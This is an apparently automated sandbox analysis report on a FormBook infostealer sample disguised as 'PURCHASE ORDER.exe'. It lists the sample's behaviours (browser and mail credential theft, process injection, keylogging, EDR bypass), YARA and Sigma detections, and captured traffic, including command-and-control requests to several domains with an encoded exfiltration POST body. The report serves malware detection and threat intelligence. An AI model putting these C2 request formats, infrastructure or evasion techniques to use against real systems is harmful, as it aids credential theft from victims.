Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
PURCHASE ORDER.exe

Overview

General Information

Sample name:PURCHASE ORDER.exe
Analysis ID:1524044
MD5:34f32e2683e75ed582ee75e5bbfb8a7f
SHA1:1cde784bc2c51f0d6dba17c76ba86ddb5e933c56
SHA256:119f435b8535b2daceeefac46d1917cbaf2e4142ea50ddf3583ed0972e55298c
Tags:exeuser-TeamDreier
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected FormBook
AI detected suspicious sample
Contains functionality to detect sleep reduction / modifications
Found direct / indirect Syscall (likely to bypass EDR)
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • PURCHASE ORDER.exe (PID: 7272 cmdline: "C:\Users\user\Desktop\PURCHASE ORDER.exe" MD5: 34F32E2683E75ED582EE75E5BBFB8A7F)
    • svchost.exe (PID: 7368 cmdline: "C:\Users\user\Desktop\PURCHASE ORDER.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • mMtRNEqhUF.exe (PID: 1812 cmdline: "C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • TapiUnattend.exe (PID: 7688 cmdline: "C:\Windows\SysWOW64\TapiUnattend.exe" MD5: D5BFFD755F566AAACB57CF83FDAA5CD0)
          • firefox.exe (PID: 7880 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000005.00000002.3899118135.0000000000B50000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000005.00000002.3899118135.0000000000B50000.00000004.00000800.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x2c1a0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0x1420f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    00000002.00000002.2460425217.0000000003D90000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000002.00000002.2460425217.0000000003D90000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x2db193:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0x2c3202:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      00000002.00000002.2464679240.0000000008EE0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        Click to see the 11 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        2.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          2.2.svchost.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x2e5e3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x16652:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          2.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            2.2.svchost.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
            • 0x2f3e3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
            • 0x17452:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Uncommon Svchost Parent Process
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\PURCHASE ORDER.exe", CommandLine: "C:\Users\user\Desktop\PURCHASE ORDER.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PURCHASE ORDER.exe", ParentImage: C:\Users\user\Desktop\PURCHASE ORDER.exe, ParentProcessId: 7272, ParentProcessName: PURCHASE ORDER.exe, ProcessCommandLine: "C:\Users\user\Desktop\PURCHASE ORDER.exe", ProcessId: 7368, ProcessName: svchost.exe
            Sigma detected: Windows Processes Suspicious Parent Directory
            Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\PURCHASE ORDER.exe", CommandLine: "C:\Users\user\Desktop\PURCHASE ORDER.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PURCHASE ORDER.exe", ParentImage: C:\Users\user\Desktop\PURCHASE ORDER.exe, ParentProcessId: 7272, ParentProcessName: PURCHASE ORDER.exe, ProcessCommandLine: "C:\Users\user\Desktop\PURCHASE ORDER.exe", ProcessId: 7368, ProcessName: svchost.exe

            Suricata Signatures

            ⊘No Suricata rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Multi AV Scanner detection for submitted file
            Source: PURCHASE ORDER.exeReversingLabs: Detection: 34%
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000005.00000002.3899118135.0000000000B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2460425217.0000000003D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2464679240.0000000008EE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.3899555740.00000000025F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3899170467.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3897844833.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.3899320408.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2454242611.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Machine Learning detection for sample
            Source: PURCHASE ORDER.exeJoe Sandbox ML: detected
            Source: PURCHASE ORDER.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: Binary string: TapiUnattend.pdbGCTL source: svchost.exe, 00000002.00000002.2456863217.0000000003412000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2456791625.0000000003400000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: mMtRNEqhUF.exe, 00000004.00000000.2370689547.0000000000ACE000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: PURCHASE ORDER.exe, 00000000.00000003.2065630185.00000000045C0000.00000004.00001000.00020000.00000000.sdmp, PURCHASE ORDER.exe, 00000000.00000003.2066107206.0000000004760000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354795783.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2457345911.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2457345911.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353086793.0000000003600000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899421463.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000003.2470507749.0000000002E24000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000003.2468800432.0000000002C74000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899421463.000000000316E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: PURCHASE ORDER.exe, 00000000.00000003.2065630185.00000000045C0000.00000004.00001000.00020000.00000000.sdmp, PURCHASE ORDER.exe, 00000000.00000003.2066107206.0000000004760000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2354795783.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2457345911.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2457345911.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353086793.0000000003600000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, TapiUnattend.exe, 00000005.00000002.3899421463.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000003.2470507749.0000000002E24000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000003.2468800432.0000000002C74000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899421463.000000000316E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: mMtRNEqhUF.exe, 00000004.00000002.3903920729.000000000627C000.00000004.80000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3898076160.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899809055.00000000035FC000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2755978265.000000000366C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: mMtRNEqhUF.exe, 00000004.00000002.3903920729.000000000627C000.00000004.80000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3898076160.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899809055.00000000035FC000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2755978265.000000000366C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: TapiUnattend.pdb source: svchost.exe, 00000002.00000002.2456863217.0000000003412000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2456791625.0000000003400000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005CC5F0 FindFirstFileW,FindNextFileW,FindClose,5_2_005CC5F0
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4x nop then mov esp, ebp4_2_02518837
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4x nop then pop edi4_2_0251A927
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4x nop then xor eax, eax4_2_0251E4A7
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 4x nop then xor eax, eax5_2_005B9BB0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 4x nop then mov ebx, 00000004h5_2_02E104E3
            Source: Joe Sandbox ViewIP Address: 136.143.186.12 136.143.186.12
            Source: Joe Sandbox ViewIP Address: 199.192.21.169 199.192.21.169
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,0_2_0044289D
            Source: global trafficHTTP traffic detected: GET /lpl9/?B0yh=QxoXDZd&cvWdIt=e8lWkFdpBI8fMqvo7AyVm0fpL9kk7cHQmYaHg/xvgOUuLw6B3kGtYYWM8/CK9QzH2IDr1kJuLXtu8i/nZF8LNOaL82kNnZvlFJYi74gKoV19uDxCQwtjMILqUMBFsIfV+w== HTTP/1.1Host: www.aaavvejibej.bondAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /30jd/?cvWdIt=OtDeNxpSfKodwTItmXnqw9okUGp+yodldrB0PRj1l4+Fh7wLXn4C+U6iIOCzG6zWS3UsP4q8AKFA04SbUzJ+ZINpZ/dGman2y3QE8REBmyQhM0FW68vcu8IEOHtVe4iRxQ==&B0yh=QxoXDZd HTTP/1.1Host: www.whats-in-the-box.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /4hiy/?B0yh=QxoXDZd&cvWdIt=x7+2I8SGsUecCMiR9jFxrq83wmgt2RE1VtibsJt/MsyL3kCUaBIR7/SGJ6EjRkH0LM2kKQMRMq/OnwKr8gWiRr7WCi2Un74sxpuHobYGu6nNRQyETrqzPpHjFa2uTk8qKQ== HTTP/1.1Host: www.weatherbook.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /jvjp/?cvWdIt=4b5MqvIelA8yeSWJd/RiTUHyH0EmcMdBTJ6STZ7OqVlET0aP4dQGxyJ8Yal1yomp/rzgkCoCCWVuqR9lxGRqE8prNCRKn3F85EuQNiaCrcWD/oorkYe/dSc+lX6wpjmjQw==&B0yh=QxoXDZd HTTP/1.1Host: www.crowsecurity.cloudAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /p8sm/?cvWdIt=gudxXcfIjfM6RSgg73S9+XdIWXDCMwU0KLmBWaNcxhhcux8g2aNs+kqO3FQMDVnLkpHMsugYGQwIm+gz0yjud+mzkPlPm9RYK75l27rAYJlLhafV6htmCUPEMRK+VCpk1A==&B0yh=QxoXDZd HTTP/1.1Host: www.inspireplay.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /p2q3/?cvWdIt=FK2L+8PIei1GuvtmMMgoAvGSy4tXk7wbBI34s0k1PsRmujAOjfMM4GbCZxnV6srYixPIeZB0oPqoKkF830AnOQwPxX794cu3tg8LjpGk2pxqz0miSqkHFfojTOhseAe+zA==&B0yh=QxoXDZd HTTP/1.1Host: www.shanhaiguan.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /ivo1/?cvWdIt=fL7FGqwZgFyeKETKnMvcF6/2X0xLn+ZD0XO9xnYIy5nXxzuHXVLl0+u5SqQtPDeu0FT/+Cn/ojl8jT3mUhnhvZd7UwgDvm6CV/Kdv2aRhtGTCKLAdrlbvWydzVsR1tMxiQ==&B0yh=QxoXDZd HTTP/1.1Host: www.lanxuanz.techAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /85su/?cvWdIt=+3B6fjGs9Z40sbhVvR4krjlQJIMiXt8F4isjbFYKdetJPWg+iKgIwujGEU5yKjzj4BkeFS8xvi4EjdbOtsLgDOfZNWyhFfht/6W034l9DUnQ7Tystood4rLNgn1SUoYWpA==&B0yh=QxoXDZd HTTP/1.1Host: www.selftip.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficDNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa
            Source: global trafficDNS traffic detected: DNS query: www.aaavvejibej.bond
            Source: global trafficDNS traffic detected: DNS query: www.whats-in-the-box.org
            Source: global trafficDNS traffic detected: DNS query: www.weatherbook.live
            Source: global trafficDNS traffic detected: DNS query: www.crowsecurity.cloud
            Source: global trafficDNS traffic detected: DNS query: www.inspireplay.live
            Source: global trafficDNS traffic detected: DNS query: www.shanhaiguan.net
            Source: global trafficDNS traffic detected: DNS query: www.lanxuanz.tech
            Source: global trafficDNS traffic detected: DNS query: www.selftip.top
            Source: unknownHTTP traffic detected: POST /30jd/ HTTP/1.1Host: www.whats-in-the-box.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usAccept-Encoding: gzip, deflateOrigin: http://www.whats-in-the-box.orgContent-Type: application/x-www-form-urlencodedConnection: closeCache-Control: no-cacheContent-Length: 207Referer: http://www.whats-in-the-box.org/30jd/User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Data Raw: 63 76 57 64 49 74 3d 44 76 72 2b 4f 48 70 57 51 62 73 38 37 68 49 79 6a 33 33 43 37 66 5a 46 52 48 55 35 77 50 39 4b 56 72 4d 64 43 68 4b 39 75 35 2b 69 75 65 55 38 4e 32 45 6c 6f 48 7a 56 64 64 57 47 45 70 69 50 4e 41 68 53 50 34 4f 30 55 4c 39 35 79 34 47 76 63 79 4e 65 65 36 6f 64 53 4c 70 55 6d 76 50 48 78 30 77 76 76 69 59 39 75 51 49 59 63 44 6f 6f 31 73 62 63 32 39 51 65 50 58 6f 2b 58 71 48 37 79 79 73 4a 64 32 70 36 4d 65 64 34 68 2b 39 35 77 6b 38 70 45 46 6a 53 76 57 6e 66 53 4c 47 35 65 74 37 4d 61 2f 57 4a 38 51 4c 6b 5a 79 66 45 55 4a 73 70 62 75 64 45 30 42 53 4a 49 48 5a 67 72 56 68 54 59 54 63 3d Data Ascii: cvWdIt=Dvr+OHpWQbs87hIyj33C7fZFRHU5wP9KVrMdChK9u5+iueU8N2EloHzVddWGEpiPNAhSP4O0UL95y4GvcyNee6odSLpUmvPHx0wvviY9uQIYcDoo1sbc29QePXo+XqH7yysJd2p6Med4h+95wk8pEFjSvWnfSLG5et7Ma/WJ8QLkZyfEUJspbudE0BSJIHZgrVhTYTc=
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 02 Oct 2024 13:15:42 GMTContent-Type: text/plain; charset=UTF-8Content-Length: 16Connection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JxhRIcoDvgCLCtSL996GAbs2U%2B6zke9QAAqcrJhs%2FnaoMFe15dqfTumDuCsQQ0zcFQkBiaqZM7NAifd07JJNGiOlDa%2B0xbcN9ikcDdwxWC5tboXPJMNzl2S1gN4r6Hjz8sJxQOrTtQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8cc4f675697c424c-EWRData Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 31 30 31 30 Data Ascii: error code: 1010
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 13:17:44 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 